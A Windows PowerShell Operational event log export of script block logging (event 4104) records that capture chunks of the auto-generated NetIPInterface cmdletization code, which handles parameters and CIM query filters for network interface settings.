$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
ScriptBlock ID: af0ff2b0-09b4-4597-b5e3-1372af4835f7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1795 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-df2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 6):
owerShell.Cmdletization.GeneratedTypes.NetIPInterface.ClampMss'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ClampMss'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ClampMss'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Advertising')) {
[object]$__cmdletization_value = ${Advertising}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Advertising'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Advertising'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Advertising'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Advertising'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NlMtuBytes')) {
[object]$__cmdletization_value = ${NlMtuBytes}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NlMtu'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NlMtu'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceMetric')) {
[object]$__cmdletization_value = ${InterfaceMetric}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceMetric'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceMetric'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NeighborUnreachabilityDetection')) {
[object]$__cmdletization_value = ${NeighborUnreachabilityDetection}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NeighborUnreachabilityDetection'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.NeighborUnreachabilityDetection'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NeighborUnreachabilityDetection'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.NeighborUnreachabilityDetection'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseReachableTimeMs')) {
[object]$__cmdletization_value = ${BaseReachableTimeMs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseReachableTime'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseReachableTime'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RetransmitTimeMs')) {
[object]$__cmdletization_value = ${RetransmitTimeMs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RetransmitTime'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RetransmitTime'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DadTransmits')) {
[object]$__cmdletization_value = ${DadTransmits}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DadTransmits'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DadTransmits'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DadRetransmitTimeMs')) {
[object]$__cmdletization_value = ${DadRetransmitTimeMs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DadRetransmitTime'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DadRetransmitTime'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RouterDiscovery')) {
[object]$__cmdletization_value = ${RouterDiscovery}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouterDiscovery'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.RouterDiscovery'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouterDiscovery'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.RouterDiscovery'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ManagedAddressConfiguration')) {
[object]$__cmdletization_value = ${ManagedAddressConfiguration}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ManagedAddressConfiguration'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ManagedAddressConfiguration'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ManagedAddressConfiguration'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ManagedAddressConfiguration'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('OtherStatefulConfiguration')) {
[object]$__cmdletization_value = ${OtherStatefulConfiguration}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'OtherStatefulConfiguration'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.OtherStatefulConfiguration'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'OtherStatefulConfiguration'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.OtherStatefulConfiguration'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WeakHostSend')) {
[object]$__cmdletization_value = ${WeakHostSend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WeakHostSend'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetI
ScriptBlock ID: af0ff2b0-09b4-4597-b5e3-1372af4835f7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1794 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-df2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 6):
neratedTypes.NetIPInterface.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${ReachableTime},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.NeighborDiscoverySupported[]]
${NeighborDiscoverySupported},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${CompartmentId},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetIPInterface')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Forwarding]
${Forwarding},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ClampMss]
${ClampMss},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Advertising]
${Advertising},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${NlMtuBytes},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${InterfaceMetric},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.NeighborUnreachabilityDetection]
${NeighborUnreachabilityDetection},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseReachableTime')]
[uint32]
${BaseReachableTimeMs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('RetransmitTime')]
[uint32]
${RetransmitTimeMs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${DadTransmits},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('DadRetransmitTime')]
[uint32]
${DadRetransmitTimeMs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.RouterDiscovery]
${RouterDiscovery},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ManagedAddressConfiguration]
${ManagedAddressConfiguration},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.OtherStatefulConfiguration]
${OtherStatefulConfiguration},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostSend]
${WeakHostSend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostReceive]
${WeakHostReceive},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.IgnoreDefaultRoutes]
${IgnoreDefaultRoutes},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[timespan]
${AdvertisedRouterLifetime},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AdvertiseDefaultRoute]
${AdvertiseDefaultRoute},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${CurrentHopLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ForceArpNdWolPattern]
${ForceArpNdWolPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.DirectedMacWolPattern]
${DirectedMacWolPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.EcnMarking]
${EcnMarking},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Dhcp]
${Dhcp},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AutomaticMetric]
${AutomaticMetric},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ReachableTime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ReachableTime})
$__cmdletization_queryBuilder.FilterByProperty('ReachableTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NeighborDiscoverySupported') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NeighborDiscoverySupported})
$__cmdletization_queryBuilder.FilterByProperty('NeighborDiscoverySupported', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CompartmentId') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CompartmentId})
$__cmdletization_queryBuilder.FilterByProperty('CompartmentId', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Forwarding')) {
[object]$__cmdletization_value = ${Forwarding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Forwarding'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Forwarding'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Forwarding'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Forwarding'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ClampMss')) {
[object]$__cmdletization_value = ${ClampMss}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ClampMss'; ParameterType = 'Microsoft.P
ScriptBlock ID: af0ff2b0-09b4-4597-b5e3-1372af4835f7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1793 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-df2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 6):
$__cmdletization_values = @(${Forwarding})
$__cmdletization_queryBuilder.FilterByProperty('Forwarding', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ClampMss') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ClampMss})
$__cmdletization_queryBuilder.FilterByProperty('ClampMss', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Advertising') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Advertising})
$__cmdletization_queryBuilder.FilterByProperty('Advertising', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NlMtuBytes') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NlMtuBytes})
$__cmdletization_queryBuilder.FilterByProperty('NlMtu', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceMetric') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceMetric})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceMetric', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NeighborUnreachabilityDetection') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NeighborUnreachabilityDetection})
$__cmdletization_queryBuilder.FilterByProperty('NeighborUnreachabilityDetection', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('BaseReachableTimeMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${BaseReachableTimeMs})
$__cmdletization_queryBuilder.FilterByProperty('BaseReachableTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ReachableTimeMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ReachableTimeMs})
$__cmdletization_queryBuilder.FilterByProperty('ReachableTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RetransmitTimeMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RetransmitTimeMs})
$__cmdletization_queryBuilder.FilterByProperty('RetransmitTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DadTransmits') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DadTransmits})
$__cmdletization_queryBuilder.FilterByProperty('DadTransmits', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DadRetransmitTimeMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DadRetransmitTimeMs})
$__cmdletization_queryBuilder.FilterByProperty('DadRetransmitTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RouterDiscovery') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RouterDiscovery})
$__cmdletization_queryBuilder.FilterByProperty('RouterDiscovery', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ManagedAddressConfiguration') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ManagedAddressConfiguration})
$__cmdletization_queryBuilder.FilterByProperty('ManagedAddressConfiguration', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('OtherStatefulConfiguration') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${OtherStatefulConfiguration})
$__cmdletization_queryBuilder.FilterByProperty('OtherStatefulConfiguration', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('WeakHostSend') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${WeakHostSend})
$__cmdletization_queryBuilder.FilterByProperty('WeakHostSend', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('WeakHostReceive') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${WeakHostReceive})
$__cmdletization_queryBuilder.FilterByProperty('WeakHostReceive', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IgnoreDefaultRoutes') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IgnoreDefaultRoutes})
$__cmdletization_queryBuilder.FilterByProperty('IgnoreDefaultRoutes', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AdvertisedRouterLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AdvertisedRouterLifetime})
$__cmdletization_queryBuilder.FilterByProperty('AdvertisedRouterLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AdvertiseDefaultRoute') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AdvertiseDefaultRoute})
$__cmdletization_queryBuilder.FilterByProperty('AdvertiseDefaultRoute', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CurrentHopLimit') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CurrentHopLimit})
$__cmdletization_queryBuilder.FilterByProperty('CurrentHopLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ForceArpNdWolPattern') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ForceArpNdWolPattern})
$__cmdletization_queryBuilder.FilterByProperty('ForceArpNdWolPattern', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DirectedMacWolPattern') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DirectedMacWolPattern})
$__cmdletization_queryBuilder.FilterByProperty('DirectedMacWolPattern', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('EcnMarking') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${EcnMarking})
$__cmdletization_queryBuilder.FilterByProperty('EcnMarking', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Dhcp') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Dhcp})
$__cmdletization_queryBuilder.FilterByProperty('Dhcp', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ConnectionState') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ConnectionState})
$__cmdletization_queryBuilder.FilterByProperty('ConnectionState', $__cmdletization_values, $false, 'Default')
}
